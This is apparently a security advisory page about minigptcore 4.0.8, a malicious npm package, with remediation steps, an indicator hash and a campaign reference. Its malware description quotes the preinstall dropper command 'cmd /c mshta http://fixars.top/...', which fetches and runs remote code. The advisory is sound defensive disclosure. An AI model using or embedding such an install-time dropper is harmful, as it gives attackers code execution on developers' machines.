Which versions of minigptcore are malicious?

The following npm versions of minigptcore are flagged malicious: 4.0.8. Treat any of these as compromised.

How do I remediate minigptcore if I installed it?

Remove minigptcore from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed minigptcore — how do I know if it already compromised me?

If minigptcore was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is minigptcore part of a known attack campaign?

Yes — minigptcore is associated with the IN-MAL-2026-009841 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find minigptcore across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for minigptcore (version 4.0.8).

Malicious package

minigptcorenpm

Advisory published Jul 13, 2026Updated Jul 13, 2026

minigptcore is a confirmed malicious npm package (MAL-2026-10417) that executes malicious code on install (malicious version 4.0.8). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in minigptcore (npm)

MAL-2026-10417

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall minigptcore

What this malware does

On npm install, the package's preinstall script (preinstall.js) invokes cmd /c mshta http://fixars.top/..., causing Windows mshta.exe to fetch and execute an HTA scriptlet from a hardcoded external domain over plain HTTP. The fetched content is unpinned, unverified, and unrelated to any documented package purpose, and executes with the privileges of the user running npm install. package.json ships placeholder metadata (empty author, empty keywords, generic description) consistent with a throwaway upload whose only functional effect is the remote-code-execution dropper.

Malicious versions

1 flagged

4.0.8

Indicators of compromise (SHA-256)

8be3fb8ddeae3078f0765ce77f9a329caacd7ee5741b2c96dcf8f613f5444ba0

Detection & response playbook

Malicious package

Find it
Search your lockfiles and build artifacts for minigptcore (version 4.0.8).
If you installed it — respond
Remove minigptcore from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If minigptcore was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. minigptcore on npm has been identified as a malicious package (version 4.0.8 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-009841

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks minigptcore-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database